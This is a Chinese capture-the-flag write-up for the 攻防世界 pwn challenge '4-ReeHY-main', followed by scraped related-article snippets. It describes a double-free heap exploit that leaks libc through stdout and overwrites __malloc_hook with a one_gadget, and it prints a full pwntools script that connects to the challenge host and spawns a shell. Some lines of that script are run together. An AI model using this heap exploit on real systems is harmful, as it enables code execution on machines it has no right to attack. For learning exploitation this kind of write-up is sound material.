攻防世界 4-ReeHY-main
检查保护机制:

发现 可以好像写got
然后 程序流程


这里 有double free
然后 再发现

这里很有趣 ,要是我的content为零了 且size 小于112 那就从栈上copy一些内容进去 利用double free ,再修改残留在chunk上的fd的信息 就能达到任意地址写入的效果,
但是
这里有没有溢出点 就算能达到任意地址写入
也没什么用 所以 可以malloc 一块到 stderr + 的地方
然后 再 edit
content 先不写 因为

这个 会刷新stdout 导致之前写入的东西 给重新刷新了
这时候就可以用编辑,写入
不过这时候 只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方
之所以 选择 stderr +157 因为 那附件只有这块符号size的检测
下面贴出我的 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138 r = remote(host,port) def creat(size, cun, content):
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(size))
r.recvuntil("Input cun")
r.sendline(str(cun))
r.recvuntil("Input content")
r.sendline(content) def dele(index):
r.recvuntil("$ ")
r.sendline(str(2))
r.recvuntil("Chose one to dele")
r.sendline(str(index)) def edit(index, content):
r.recvuntil("$ ")
r.sendline(str(3))
r.recvuntil("Chose one to edit")
r.sendline(str(index))
r.recvuntil("Input the content")
r.send(content) def show():
r.recvuntil("$ ")
r.sendline(str(4)) def exploit():
global r
r = remote(host,port)
libc = ELF('./libc.so.6')
r.recvuntil("$ ")
r.sendline("aaaa")
creat(0x60, 0, '')
creat(0x60, 1, '')
creat(0x60, 2, '')
dele(0)
dele(1)
dele(0)
creat(0x60, 3, '')
creat(0x60, 1, '')
edit(3,p16(0x95dd))
creat(0x60, 0, '')
try:
pay = "\xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
creat(0x60, 4, pay)
except:
log.failure("not lucky enough!")
r.close()
return False
edit(4,pay)
leak = ''
leak = r.recvuntil("exit")[0x40:0x48]
print hex(u64(leak))
LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
log.info('libc :0x%x'%LIBC) #raw_input()
target = LIBC + e.symbols['__malloc_hook'] - 0x23
dele(3)
edit(0,p64(target))
onegae = LIBC + 0xf1147
log.info("onegaget: 0x%x"%onegae)
payload = 'a'*0x13 +p64(onegae)
creat(0x60, 1, '')
creat(0x60, 3, payload)
dele(1)
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(0x60))
r.recvuntil("Input cun")
r.sendline(str(1))
stop = True
r.interactive() if __name__ == '__main__':
stop = False
e = ELF("./libc.so.6")
while not stop:
exploit()
攻防世界 4-ReeHY-main的更多相关文章
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界 reverse 进阶 APK-逆向2
APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...
- 攻防世界 reverse 进阶 10 Reverse Box
攻防世界中此题信息未给全,题目来源为[TWCTF-2016:Reverse] Reverse Box 网上有很多wp是使用gdb脚本,这里找到一个本地还原关键算法,然后再爆破的 https://www ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
随机推荐
- Redis 文章一 之持久化机制的介绍
我们已经知道对于一个企业级的redis架构来说,持久化是不可减少的 企业级redis集群架构:海量数据.高并发.高可用 持久化主要是做灾难恢复,数据恢复,也可以归类到高可用的一个环节里面去,比如你re ...
- CheckBox状态多选
前: <StackPanel Margin="> <Label FontWeight="Bold">Application Options< ...
- C# WPF基础巩固
时间如流水,只能流去不流回. 学历代表你的过去,能力代表你的现在,学习能力代表你的将来. 学无止境,精益求精. 一.写作目的 做C# WPF开发,无论是工作中即将使用,还是只应付跳槽面试,开发基础是非 ...
- 小白学微信小程序
奔着实用性的目的-测试孩子的认字量,开发了一个微信小程序-测字大王.上下班路上看书看了一个星期,代码前后共写一个星期.现在小程序已经对外开放,share下我的开发过程吧. 一 工具准备 首先先过一篇 ...
- 回头看 vue-router
回头看 vue-router 复习 我的github iSAM2016 目录 响应路由参数的变化 嵌套路由 函数式导航 路由的命名 示例:切换路由的时候可以修改页面的标题 导航钩子 全局钩子 实例:检 ...
- Java多线程(十五):CountDownLatch,Semaphore,Exchanger,CyclicBarrier,Callable和Future
CountDownLatch CountDownLatch用来使一个线程或多个线程等待到其他线程完成.CountDownLatch有个初始值count,await方法会阻塞线程,直到通过countDo ...
- Stringbuilder常用方法
一.创建Stringbuilder对象StringBuilder strB = new StringBuilder(); 1.append(String str)/append(Char c):字符串 ...
- 【排列组合】给定一个M*N的格子或棋盘,从左下角走到右上角的走法总数(每次只能向右或向上移动一个方格边长的距离)
版权声明:本文为CSDN博主「梵解君」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明. 原文链接:https://blog.csdn.net/hadeso/art ...
- vue项目如何在node启动
首先将vue项目通过命令npm run build 打包,然后创建start.js,代码如下: // const userApi = require('./api'); const fs = requ ...
- NOIP201605玩具谜题-解题报告
NOIP201605玩具谜题-解题报告 2019-11- ...